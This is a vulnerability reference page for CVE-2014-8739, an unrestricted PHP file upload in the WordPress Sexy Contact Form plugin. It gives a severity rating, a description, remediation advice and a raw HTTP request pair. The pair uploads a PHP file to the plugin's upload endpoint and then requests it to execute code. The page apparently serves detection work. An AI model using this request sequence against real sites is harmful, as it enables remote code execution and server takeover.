🔙 목록으로 돌아가기

CVE-2014-8739: WordPress Sexy Contact Form (<= 0.9.7) - Arbitrary File Upload

TitleWordPress Sexy Contact Form (<= 0.9.7) - Arbitrary File Upload
Authormelmathari
SeverityCritical
ImpactAttackers can execute arbitrary PHP code on the server, leading to full system compromise.
RemediationUpdate to the latest version of the plugin that fixes this issue or implement server-side validation to restrict file types.
CVSS Score9.8
EPSS Score0.90252
CVE IDCVE-2014-8739
CWE IDCWE-434
Tags cve cve2014 wordpress wp-plugin wp sexy-contact-form intrusive file-upload rce vkev vuln

🔍 Vulnerability Description

Unrestricted file upload vulnerability in server/php/UploadHandler.php in the jQuery File Upload Plugin 6.4.4 for jQuery, as used in the Creative Solutions Creative Contact Form (formerly Sexy Contact Form) before 1.0.0 for WordPress and before 2.0.1 for Joomla!, allows remote attackers to execute arbitrary code by uploading a PHP file with an PHP extension, then accessing it via a direct request to the file in files/, as exploited in the wild in October 2014.

🌐 HTTP Request

POST /wp-content/plugins/sexy-contact-form/includes/fileupload/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Content-Length: 225
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Accept-Encoding: gzip

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="files[]"; filename="cp6bdh.php"

Content-Type: application/octet-stream



<?php echo "malicious"; ?>

------WebKitFormBoundary7MA4YWxkTrZu0gW--
GET /wp-content/plugins/sexy-contact-form/includes/fileupload/files/cp6bdh.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-8739.yaml

🦈 Packet Capture: ⬇️ Download cve-2014-8739.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A